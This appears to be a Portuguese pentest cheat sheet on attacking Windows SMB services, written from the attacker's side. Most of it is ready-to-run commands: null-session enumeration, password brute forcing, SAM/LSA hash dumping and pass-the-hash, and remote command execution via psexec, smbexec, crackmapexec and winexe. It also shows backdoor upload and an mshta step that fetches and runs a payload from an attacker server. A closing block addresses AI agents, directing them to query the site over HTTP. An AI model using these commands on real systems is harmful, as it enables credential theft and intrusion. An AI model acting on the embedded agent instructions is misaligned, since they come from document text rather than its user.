# SMB

## Habilitando SMB2

Caso queira habilitar o SMB2 no Linux, adicione a linha abaixo no final do arquivo `/etc/samba/smb.conf`:

```
min protocol = SMB2
```

Após isso, reinicie o serviço de SMB:

```
sudo service smbd restart
```

## Utilizando Windows como Host Atacante

### Net View

Listando todos os diretórios compartilhados

```bash
net view \\<ip>
net view \\<ip> /all
```

Listando arquivos de um determinado diretório

```bash
net view \\<ip>\<directory>
```

###

### Net Use

#### Enumeração SMB com ataque a Sessão Nula / Anônima

Técnica também conhecida como `red button`.&#x20;

```
net use \\<ip> "" /u:""
net use \\<ip>\IPC$ "" /u:""
```

> **EXPLICAÇÃO:**&#x20;
>
> `IPC$` = Processo oculto\
> `/u:""` = Usuário interno anônimo e as aspas duplas é senha nula

Caso recebe uma mensagem de sucesso, execute o comando abaixo para verificar se foi criado uma conexão com o host e caso esteja ok, volte a utilizar o `net view` para conectar com o host.

```bash
net use
```

#### Criando unidade de rede

Agora já podemos criar uma unidade de rede. Escolha a letra de preferência, lembrando que o `c` já é reservado pelo Windows em si.

```bash
net use <letra>: \\<ip>\<directory>
```

#### Desmontando uma unidade de rede

```bash
net use <letra>: /delete
```

#### Excluindo uma máquina que estabeleceu uma sessão

```bash
net use \\<ip> /delete
```

#### Adivinhação de Senha Remota

Para que funcione, as portas 139, 445 (SMB) estejam abertas:

```bash
net use \\<ip>|IPC$ * /u:<usuario>
```

**OBS:** O asterísco (\*) no lugar da senha faz o sistema remoto solicitar uma. Se o nome do login falhar, tente usar `DOMINIO\conta`.

#### Brute Force

Arquivo com senha separados por linha. Nesse exemplo, estamos utilizando o usuário administrator.

```bash
for /f %i in (<wordlist_pass.txt>) do net use \\<ip> %i /u:administrator
```

Arquivo com usuário e senha separados por espaço, sendo cada combinação em uma linha

```bash
for /f "tokens=1,2" %i in (<wordlist_user_pass.txt>) do net use \\<ip> %j /u:%i
```

## Utilizando Linux como Host Atacante

### Alterando Senha SMB Remotamente

#### smbpasswd

```bash
smbpasswd -r <ip> -U <user>
```

### Enumeração com NMAP

Vulnerabilidades

```bash
nmap --script smb-vuln* -p445 <ip_alvo>
```

Versões

```bash
nmap --script smb-protocols -p445 <ip_alvo>
```

Informações gerais sobre o host alvo

```bash
nmap -p 139,445 --script=smb-os-discovery <ip>
```

Compartilhamento (sem autenticação)

```bash
nmap --script smb-enum-shares -p445 <ip_alvo>
```

Compartilhamento (com autenticação)

```bash
nmap <ip> -p445 --script smb-enum-shares --script-args smbusername=<user>,smbpassword=<pass>
```

Usuários (com autenticação)

```bash
nmap <ip> -p445 --script smb-enum-users --script-args smbusername=<user>,smbpassword=<pass>
```

Enumerando todas as pastas e drivers compartilhados, em seguida executando o comando `ls` em cada compartilhamento

```bash
nmap -p445 <ip> --script smb-enum-shares,smb-ls --script-args smbusername=<user>,smbpassword=<pass>
```

Analisando se o alvo está com o SMB vulnerável.

```bash
nmap -v -p 139,445 --script=smb-vuln-ms08-067 <ip>
```

{% hint style="danger" %}
**CUIDADO**: Podemos ver o argumento **`--script-args=unsafe=1`** sendo declarado junto com o comando acima, porém isso provavelmente irá travar o SO vulnerável. Cuidado ao executar um comando com esse argumento.
{% endhint %}

Usuários logados atualmente

```bash
nmap --script smb-enum-sessions -p445 <ip_alvo>
```

Domínios

```bash
nmap -p445 10.4.28.22 --script smb-enum-domains --script-args smbusername=<user>,smbpassword=<pass>
```

Grupos de Usuários

```bash
nmap -p445 10.4.28.22 --script smb-enum-groups --script-args smbusername=<user>,smbpassword=<pass>
```

Serviços

```bash
nmap -p445 10.4.28.22 --script smb-enum-services --script-args smbusername=<user>,smbpassword=<pass>
```

Estatísticas do Servidor

```bash
nmap <ip> -p445 --script smb-server-stats --script-args smbusername=<user>,smbpassword=<pass>
```

### Metasploit

#### Meterpreter (necessário ter RCE)

```bash
# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>
```

#### Pegando a versão do SMB

```bash
use auxiliary/scanner/smb/smb2
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

**OBS.:** Os comandos abaixos talvez precise de usuário, senha e domínio, então utilize os parâmetros `SMBUser`, `SMBPass` e `DOMAIN` para ter um resultado mais preciso.

#### Detalhes como SO, Hostname e Domain

```bash
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

#### Brute Force / Verificação de Login

```bash
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS <ip_alvo>
set SMBUser <usuario>
set SMBPass <senha> # Caso não saiba a senha, utilize um brute force: set PASS_FILE "/home/wordlist.txt"
set THREADS 10
run
```

**OBS.:** Caso a senha esteja certa, será mostrado uma linha verde com sinal `[+]` no início, seguido da mensagem `Domain is ignored for user <user>`

Agora que já sabemos a senha, podemos enumerar as pastas compartilhadas. Para isso vamos usar o seguinte Auxiliary: `use auxiliary/scanner/smb/smb_enumshares`. Agora podemos enumerar os usuários, utilizando o seguinte Auxiliary: `use auxiliary/scanner/smb/smb_lookupsid`.

Diretórios que estão sendo compartilhados

```bash
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

Usuários do SMB

```bash
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

Retorna os usuários através de pesquisas de SID com força bruta. Este módulo pode enumerar contas locais e de domínio, definindo `ACTION` como `LOCAL` e `DOMAIN`

```bash
use auxiliary/scanner/smb/smb_lookupsid
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

###

### SMBVer

Retorna a versão do SMB

```bash
./smbver.sh <ip_alvo>
```

###

### SMBMap

Verificando sessão nula

```bash
smbmap -H <ip> -u '' -p ''
```

Listando diretórios e arquivos uma unidade. No exemplo abaixo utilizei o C$

```
smbmap -u <user> -p <pass> -H <target> -r 'C$'
```

Executando comando no SO alvo.

```bash
smbmap -u <user> -p <pass> -d . -H <ip> -x '<command>'
```

Listando arquivos, porém excluindo alguns diretórios. No exemplo abaixo os diretório IPC$ e SYSVOL não serão listados.

```bash
smbmap -u <user> -p <pass> -H <ip> -r --exclude IPC$ SYSVOL
```

Acessando os diretórios compartilhados que podem ser acessados e verificando suas devidas permissões.

```bash
# -H = Hostname
# -R = Modo Recursivo
# -D = Domain
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -d <domain>
smbmap -H <ip_alvo> -u 'guest' -p '' -d .
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -R <directory>
smbmap -H <ip_alvo> -R
```

Realizando download de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

```
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --download '<C$\file>'
```

Realizando upload de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

```bash
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --upload '</root/backdoor>' '<C$\backdoor>'
```

Podemos encontrar arquivos `XML` em `SYSVOL`, que contém hashes de usuários. Então baixe todos os arquivo com determinada extensão.

```bash
smbmap -u <user> -p <pass> -H <target> -R <directory> -A <extension_download>
```

Listando os drivers

```bash
smbmap -u <user> -p <pass> -H <target> -L
```

### SMBClient

#### Corrigindo Acessos do SMBCLIENT

Adicione a linha abaixo em `/etc/samba/smb.conf` para que o programas como smblcient e enum4linux trabalhem corretamente.

```
client min protocol = LANMAN1
```

Após isso, reinicie o serviço com o seguinte comando:

```bash
service smbd restart
```

#### Comandos Básicos

Caso esteja permitido acesso sem credenciais (`Sessões Nulas`), irá mostrar as informações, caso contrário, irá pedir autenticação.

```bash
# -L Obtém a lista de compartilhamento
smbclient -L \\\\<ip_alvo>
smbclient -L \\\\<ip_alvo>\\<share>
smbclient -L \\\\<ip_alvo>\\<share> -U <user>
smbclient -L \\\\<ip_alvo>\\<share> -U <user> -P -W <domain>
```

Caso precise de usuário e senha, utilize os parâmentros `-U` e `-P`. Para não emitir senha, pode-se utilizar a opção `-N` (No Pass).

Porém, também podemos informar a senha já no comando dessa form, apesar de não ser o recomendado.

```bash
 smbclient <ip> -U '<user>' --password=<pass>
```

Caso esteja realizar o smbclient contra um host em um domínio, deverá informá-lo, como no exemplo abaixo:

```
smbclient -L \\\\<ip_alvo> -W <domain> -U '<user>'
```

Atente-se que, no exemplo acima estamos utilizando a opção `-L` para apenas listar os diretórios. Caso queira deixar o smbclient no modo interativo, retire o `-L` e utilize o `/` ao invés de `\`.\
Quando temos o aceso no modo interativo, podemos realizar o download dos arquivos, executando os comando abaixo:

```bash
mask ""
recurse ON
prompt OFF
cd ..
mget *
```

Caso queira baixar somente 1 arquivo, utilize o comando:

```bash
get <file>
```

Ou se preferir, podemos fazer isso é um única linha de comando:

```bash
# Utilizando sessão nula
smbclient //<ip>/home -U ""%"" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'

# Utilizando senha
smbclient //<ip>/<dir> -U "<user>"%"<pass>" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'
```

#### Acessando SMB v1

As vezes não é possível acessar o host devido a versão do SMB, entao devemos alterar a versão de conexão do smbclient.

```bash
smbclient -L \\<ip> -N --option='client min protocol=NT1'
```

Podemos também executar comandos no SO, caso o usuário possua permissões.

```bash
# Conectando no servidor
smbclient -U "username%password" //<ip>/<share>

# Executando o comando
logon "/=<command>" 
```

### SMBGet

Realizando download dos arquivos via SMB

```bash
smbget -R smb://<ip_alvo>/<share> -U <user>
```

### Nullinux

Ferramenta para enumeração do SO, Domínio, diretórios compartilhados e usuários do SMB.

```bash
# Acesso anônimo
python3 nullinux.py <ip>

# Acesso autenticado para ver compartilhamentos SMB
python3 nullinux -shares -u <user> -p <pass> <ip>
```

### Upload de Arquivo

```bash
curl -s --upload-file <file> -u '<domain.com\user>' smb://<ip>/<directory>/ -L
```

### Reverse Shell com SMB

#### PsExec.py

```bash
python3 psexec.py <user>:'<pass>'@<ip>
python3 psexec.py <domain>/<user>:'<pass>'@<ip>
```

#### Metasploit

```bash
msfconsole
use exploit/windows/smb/psexec
set RHOST <ip>
set SMBDomain <domain>
set SMBUser <user>
set SMBPass <pass>
exploit
```

{% hint style="info" %}
**OBS.:** Caso não dê certo, altere o **`target`**.
{% endhint %}

#### SMBExec (Impacket)

```bash
smbexec.py <user>:'<pass>'@<ip>
```

### Extraindo Políticas de Senhas

#### crackmapexec

Sempre bom utilizar o comando abaixo e verificar o valor de `Minimum password length` para sabermos a quantidade mínima de caracteres que ase senhas pocssuem e `Account Lockout Threshold` para sabermos se o usuário corre o risco de ser bloqueado após algumas tentativas de senhas incorretas

```bash
crackmapexec smb <ip> --pass-pol
crackmapexec smb <ip> --pass-pol -u '' -p ''
```

#### polenum

```bash
polenum -u '' -p '' <ip>
polenum -u '' -p '' -d <domain.controler> <ip>
```

### crackmapexec

Nos exemplos, estamos utilizando o protocolo `smb`, porém o crackmapexec trabalha com os protocolos: `http`, `mssql`, `smb`, `ssh` e`winrm`.

#### Atacando por Sessão Nula

```bash
crackmapexec smb <ip_alvo> -u '' -p ''
```

#### Baixando Arquivos

Baixando todos os arquivos do servidor SMB para `/tmp/cme_spider_plus/`

```bash
crackmapexec smb <ip> -u '<user>' -p '<pass>' -M spider_plus -o READ_ONLY=false
```

Baixando os arquivos SMB de um determinado compartilhamento

```bash
crackmapexec smb <ip> -u <user> -p <pass> -M spider_plus --share '<directory>'
```

#### Pass-The-Hash

Pegando os hashes

```bash
crackmapexec smb <ip_alvo> -u <user> -H LMHASH:NTHASH
crackmapexec smb <ip_alvo> -u <user> -H NTHASH
crackmapexec smb <ip_alvo> -u <user> -p <pass> --sam
crackmapexec smb <ip_alvo> -u <user> -p <pass> --lsa
```

{% hint style="success" %}
**DICA:** Caso tenha acesso ao Meterpreter, utilize o comando **`hashdump`** para pegar as hashes. Elas são separadas por um **`:`** então utilize a quarta parte para executar a autenticação via hash, mostrada logo abaixo.
{% endhint %}

Autenticando com os hashes

```bash
crackmapexec smb <ip_alvo> -u <user> -H <hash>
```

#### Varrendo a rede por alvos com SMB ativos

```bash
# Sessão Nula
crackmapexec 192.168.1.0/24

# Autenticação padrão
crackmapexec 192.168.1.0/24 -u '<user>' -p '<password>'
```

#### Enumerando Usuários do AD

```bash
crackmapexec smb <ip> -u '<user>' -p '<pass>' --rid-brute
```

#### Descobrindo Compartilhamentos

```bash
crackmapexec smb <ip> --shares
crackmapexec smb <ip> -u '' -p '' --shares
crackmapexec smb <ip> -u '' --shares
crackmapexec smb <ip> -u <user> -p <pass> --shares
```

#### Brute Force

```bash
# Usuário e Senha
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt>

# Continua o Brute Force depois de locaizar alguma credencial válida 
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt> --continue-on-success

# Hash NTLM
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -H <wordlist_hash_ntlm>
```

{% hint style="success" %}
**OBS.:** Caso receba a mensagem `STATUS_PASSWORD_MUST_CHANGE`, significa que a senha está correta, porém é preciso alterá-la para ter acesso. Verifique no início dessa página, como alterar a senha SMB remotamente utilizando o `smbpasswd`.
{% endhint %}

#### Trabalhando com arquivos de múltiplos servidores

Insira um IP por linha no arquivo txt

```bash
crackmapexec smb <servers.txt> -u <user> -p <password>
```

{% hint style="info" %}
**OBS.:** Caso apareça escrito **`(Pwn3d!)`** em amarelo, significa que o usuário tem permissão de execução nesse host. Geralmente aparece na própria máquina do usuário, essa flag irá aparecer.
{% endhint %}

#### Trabalhando com hosts em um Domínio

```
crackmapexec smb <ip> -d <domain> -u <user> -p <password>
```

#### Executando comando no SO

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -x '<command>'
```

#### Listando Módulos do crackmapexec

Isso é útil para ativarmos e desativarmos módulos (serviços) do SO alvo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -L
```

#### Verificando opções de um determinado Módulo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -M <module> --options
```

#### Ativando um Módulo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -M <module> -o Action=enable
```

### WinExe

```bash
winexe -U <user>%<pass> //<ip> '<command>'
```

Caso queira deixar o terminal interativo, basta chamar o `cmd.exe`.

```bash
winexe -U <user>%<pass> //<ip> 'cmd.exe'
```

### Hydra

Brute Force

```bash
hydra -L <user.txt> -P <pass.txt> <ip> smb2
```

### Impacket (Python)

Enumerando usuários (SMB)

```bash
lookupsid.py '<user>:<password>'@<ip>
```

#### Sites

```bash
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks
https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec/

# NulLinux
https://github.com/m8r0wn/nullinux.git
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/windows/services/smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.